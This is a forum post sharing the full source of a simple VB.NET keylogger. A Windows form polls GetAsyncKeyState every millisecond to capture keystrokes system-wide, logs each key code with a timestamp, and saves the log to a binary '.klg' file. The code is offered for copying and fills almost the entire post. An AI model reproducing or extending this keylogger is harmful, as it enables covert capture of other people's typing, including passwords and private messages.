SIMPLE KEYLOG
I saw one of these that was MUCH harder. Here is my whole form code, you need a timer with the interval of 1 and enabled, you need a Button called Button1 and text is "SAVE TO FILE", and a Listbox called ListBox1
VB Code:
Imports System.IO Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vkey As Integer) As Integer Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim Result As Integer For i = 3 To 255 '-- This is Keycode in keyboard Result = GetAsyncKeyState(i) If Result = -32767 Then '-- Keyboard pressed ListBox1.Items.Add(i & "," & My.Computer.Clock.LocalTime.Hour & "," & My.Computer.Clock.LocalTime.Minute & "," & My.Computer.Clock.LocalTime.Second & "," & My.Computer.Clock.LocalTime.Millisecond) End If Next End Sub Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Using w As New BinaryWriter(File.Create("output.klg")) w.Write(Convert.ToChar("K")) w.Write(Convert.ToChar("L")) w.Write(Convert.ToChar("G")) w.Write(Convert.ToByte(0)) w.Write(Convert.ToInt32(ListBox1.Items.Count)) For Each item In ListBox1.Items w.Write(Convert.ToByte(item.ToString.Split(",")(0))) w.Write(Convert.ToByte(item.ToString.Split(",")(1))) w.Write(Convert.ToByte(item.ToString.Split(",")(2))) w.Write(Convert.ToByte(item.ToString.Split(",")(3))) w.Write(Convert.ToInt16(item.ToString.Split(",")(4))) Next End Using End Sub End Class




Reply With Quote